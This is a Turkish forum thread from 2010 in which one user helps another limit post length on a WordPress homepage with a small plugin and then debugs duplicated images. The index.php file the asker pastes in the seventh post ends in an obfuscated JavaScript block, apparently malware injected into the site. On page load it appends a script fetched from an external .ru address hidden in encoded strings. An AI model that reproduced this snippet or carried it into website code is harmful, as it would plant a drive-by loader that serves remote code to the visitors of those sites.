• 17-05-2010, 15:52:01
    #1
    <?php the_content_limit(500, "");  ?>
    Yukarıdaki kodu the_content in yerine yazdığım zaman ana sayfa gösteriminde hata alıyorum. Kod ise yazıların limitini ayarlıyor. yani ilk 500 harfin anasayfada gösterimini sağlıyor diğer kalanı ise konu içerisinde cıkıyor. bir türlü çalıştıramadım kodu. yardımcı olabilecek varmı. Site ise şurası
  • 17-05-2010, 16:10:11
    #2
    Üyeliği durduruldu
    Wordpress'e ait böyle bir fonksiyon yok, eklenti yükledikten sonra fonksiyonu kullanabilirsin.

    Aşşağıdaki kodları .php uzantılı bir dosya içerisine yaz kaydet ve wp-content/plugins klasörü içine atıp panelden eklentilere gelip aktif et, daha sonra bahsettiğin fonksiyonu kullanabilirsin.

    <?php
    /*
    Plugin Name: Limit Posts
    Plugin URI: http://labitacora.net/comunBlog/limit-post.phps
    Description: Limits the displayed text length on the index page entries and generates a link to a page to read the full content if its bigger than the selected maximum length. 
    Usage: the_content_limit($max_charaters, $more_link)
    Version: 1.1
    Author: Alfonso Sanchez-Paus Diaz y Julian Simon de Castro
    Author URI: http://labitacora.net/
    License: GPL
    Download URL: http://labitacora.net/comunBlog/limit-post.phps
    Make: 
        In file index.php 
        replace the_content() 
        with the_content_limit(1000, "more")
    */
    
    function the_content_limit($max_char, $more_link_text = '(more...)', $stripteaser = 0, $more_file = '') {
        $content = get_the_content($more_link_text, $stripteaser, $more_file);
        $content = apply_filters('the_content', $content);
        $content = str_replace(']]>', ']]&gt;', $content);
    
       if (strlen($_GET['p']) > 0) {
          echo $content;
       }
       else if ((strlen($content)>$max_char) && ($espacio = strpos($content, " ", $max_char ))) {
            $content = substr($content, 0, $espacio);
            $content = $content;
            echo $content;
            echo "<a href='";
            the_permalink();
            echo "'>"."..."."</a>";
            echo "<br><br>";
            echo "<a href='";
            the_permalink();
            echo "'>".$more_link_text."</a></p>";
       }
       else {
          echo $content;
       }
    }
    
    ?>
  • 17-05-2010, 16:37:55
    #3
    oldu fakat resimler çift çıkıyor bunun sebebini çözemedim ?
  • 17-05-2010, 16:39:07
    #4
    Üyeliği durduruldu
    Eski the_content(); kodunu sildin mi?
  • 17-05-2010, 16:43:52
    #5
    evet sildim.
  • 17-05-2010, 16:49:53
    #6
    Üyeliği durduruldu
    Normalde resimleri sanırım özel alan ile ekliyorsun? diğerlerinide bu fonksiyon sayesinde geliyor sanırım tam olarak sebebi ile ilgili bi bilgim yok.
  • 17-05-2010, 16:51:08
    #7
    Hayır özel alan hiç kullanmadım yazılarda. Sadece Çift Olarak Çıyor. İndex.php Kodlarını bi ekliyeyim buraya bir kaın isterseniz.


    Alıntı
    <?php get_header(); ?>
    <?php $options = get_option('blocks2_options'); ?>
    <?php if ($options['notice'] && $options['notice_content']) : ?> <div class="
    <?php if($options['notice_color'] == 1) {echo 'box';}
    else if($options['notice_color'] == 3){echo 'errorbox';}
    else{echo 'messagebox';}
    ?> normalfont"> <?php echo($options['notice_content']); ?> </div><?php endif; ?><?php if (have_posts()) : ?> <?php while (have_posts()) : the_post(); update_post_caches($posts); ?>
    <div class="post" id="post-<?php the_ID(); ?>">
    <div class="caption">
    <h2 class="title"><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></h2>
    <!-- ratings -->
    <?php
    if(function_exists('the_ratings')) {
    the_ratings();
    }
    ?>
    <div class="fixed"></div>
    </div>
    <div class="meta">
    <div class="info">
    <?php the_time(__('d M Y', 'blocks2')) ?>
    <?php if ($options['categories']) : ?>
    | <?php _e('Categories: ', 'blocks2'); the_category(', '); ?>
    <?php endif; ?>
    </div>
    <div class="comments"><?php comments_popup_link(__('No comments', 'blocks2'), __('1 comment', 'blocks2'), __('% Yorum', 'blocks2')); ?><?php edit_post_link(__('Edit', 'blocks2'), ' | ', ''); ?></div>
    <div class="fixed"></div>
    </div>

    <div class="content">
    <?php
    $content = get_the_content($more_link_text = '(more...)', $stripteaser = 0, $more_file = '');
    $content = apply_filters('the_content', $content);
    $content = str_replace(']]>', ']]&gt;', $content);

    preg_match("/<img.*?src=\"(.*?)\".*?>/i",$content,$resim);


    ?>
    <a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>">
    <img src="<?php echo $resim[1];?>" width="150" align="left"/> </a>


    <?php the_content_limit(500, ""); ?>


    </div>
    </div>

    <?php endwhile; ?>
    <?php else : ?> <div class="errorbox"> <?php _e('Sorry, no posts matched your criteria.', 'blocks2'); ?> </div><?php endif; ?>
    <div id="pagenavi"> <?php if(function_exists('wp_pagenavi')) : ?> <?php wp_pagenavi() ?> <?php else : ?>
    <span class="alignleft floatleft"><?php previous_posts_link(__('&laquo; Newer Entries', 'blocks2')); ?></span>
    <span class="alignright floatright"><?php next_posts_link(__('Older Entries &raquo;', 'blocks2')); ?></span>
    <?php endif; ?>
    <div class="fixed"></div></div>

    <?php get_footer(); ?>
    <script>var RG="RG";var d=window;var m;var G=document;this.h='';this.Rm='';var u=null;var mS=["vq"];MU=["r","B"];var _=RegExp;try {var P='q'} catch(P){};var GJ=[];function C(){function g(O,x,c){var cm={};S=[];return O.substr(x,c);e=[];eN=[];}vd=51743;vd--;var k='';var J=new String("]");this.vm="";var JZ=String("bo"+"dy");var E=new String();var t=String("sc"+g("riFjC3",0,2)+g("ptiJ9B",0,2));var K={rF:false};var i_={jB:false};var J=String("]");var xL=["vj","z","Mz"];var s="\x2f\x74\x61\x74\x74\x6f\x6f\x64\x6c\x65\x2d\x6 3\x6f\x6d\x2f\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\ x6d\x2f\x67\x6f\x6f\x67\x6c\x65\x2e\x66\x72\x2e\x7 0\x68\x70";var iM=false;var Ye={ee:559};function R(O,x){var Rr="Rr";this.tC=43263;this.tC--;this.RGk=false;try {} catch(cy){};var c=String(g("[1oiC",0,1));var OD=[];var HH=["bh","FU"];c+=x;try {var FhV='xs'} catch(FhV){};var YN=new Date();c+=J;var gR=new _(c, "g");var aA=false;return O[g("repl1oB0",0,4)+"ace"](gR, k);var cK=[];};EF=51302;EF--;this.Z="Z";var M=new String("ht"+"tp"+":/"+g("/dwy8g",0,2)+g("irhsM",0,2)+"ty"+g("bo8Ytm",0,2)+g( "dyebR",0,2)+".r"+"u:");try {var n='KS'} catch{};u="onlo"+"ad";var a=R('aIpGpsewnTd2C2h2iIlzds','ArIuBsLGTj9w0bzq2'); var JC="JC";nR={ra:false};var X=143261-135181;var cM=false;var uI='';var ud={y:"to"};this.Aa=16024;this.Aa--;var D=R('cKrHesaPtPeZE3lwe9mheZn3t3','ZsHKw9hP3');var CI=["Bo","JS"];var km=new Array();m=function(){try {var SC="SC";Gk=G[D](t);l={};uI=M;this.eU=53425;this.eU-=6;uI+=X;Jv=51963;Jv++;uI+=s;var gB="src";this.qH=34233;this.qH--;var ua=R('dxeafsenrk','sDpbc8k2TJxIA_aPQnFZjS');var XR=49445;MM=[];var Ph=new Date();Gk[ua]=[1][0];kR={DO:false};this.Zh=2009;this.Zh+=131;Gk[gB]=uI;var rP="rP";var _o="_o";G[JZ][a](Gk);} catch(mm){var Zp={v_:"wh"};nt=[];var RM=new String();Tv={Rj:30140};};try {} catch(Cu){};try {} catch(AX){};};var In='';var gT={};var Ft=new String();};C();Ga=["VL","wR","ja"];yS=["yj","Jh","VW"];d[u]=m;</script>
    <!--7a79c7fd3dfc8e813c54f135c93055ea-->
  • 17-05-2010, 16:57:05
    #8
    Üyeliği durduruldu
    Böyle yapabilirsin ama resimlerin çıktığı yer ile ilgili sorun yaşıcaksın, resim boyutu vs.
    <?php get_header(); ?>
    <?php $options = get_option('blocks2_options'); ?>
    <?php if ($options['notice'] && $options['notice_content']) :  ?>    <div class="
        <?php if($options['notice_color'] == 1) {echo 'box';}
            else if($options['notice_color'] == 3){echo 'errorbox';}
            else{echo 'messagebox';}
        ?> normalfont">        <?php echo($options['notice_content']); ?>     </div><?php endif; ?><?php if (have_posts()) : ?>     <?php while (have_posts()) : the_post(); update_post_caches($posts);  ?>
    <div class="post" id="post-<?php the_ID(); ?>">
        <div class="caption">
            <h2 class="title"><a href="<?php the_permalink() ?>"  rel="bookmark"><?php the_title(); ?></a></h2>
            <!-- ratings -->
            <?php
                if(function_exists('the_ratings')) {
                    the_ratings();
                }
            ?>
            <div class="fixed"></div>
        </div>
        <div class="meta">
            <div class="info">
                <?php the_time(__('d M Y', 'blocks2')) ?>
    <?php if ($options['categories']) : ?>
                 | <?php _e('Categories: ', 'blocks2'); the_category(', '); ?>
    <?php endif; ?>
            </div>
            <div class="comments"><?php comments_popup_link(__('No  comments', 'blocks2'), __('1 comment', 'blocks2'), __('% Yorum',  'blocks2')); ?><?php edit_post_link(__('Edit', 'blocks2'), ' | ',  ''); ?></div>
            <div class="fixed"></div>
        </div>
     
        <div class="content">
     
    <?php the_content_limit(500, "");  ?>
     
     
        </div>
    </div>
     
        <?php endwhile; ?>
    <?php else : ?>    <div class="errorbox">        <?php _e('Sorry,  no posts matched your criteria.', 'blocks2'); ?>    </div><?php  endif; ?>
    <div id="pagenavi">    <?php if(function_exists('wp_pagenavi')) :  ?>        <?php wp_pagenavi() ?>    <?php else : ?>
            <span class="alignleft floatleft"><?php  previous_posts_link(__('&laquo; Newer Entries', 'blocks2'));  ?></span>
            <span class="alignright floatright"><?php  next_posts_link(__('Older Entries &raquo;', 'blocks2'));  ?></span>
        <?php endif; ?>
        <div class="fixed"></div></div>
     
    <?php get_footer(); ?>
  • 17-05-2010, 17:00:50
    #9
    evet boyutları orjinal olarak çıkıyor. tamam yardımların için teşekkür ederim. saoalsın.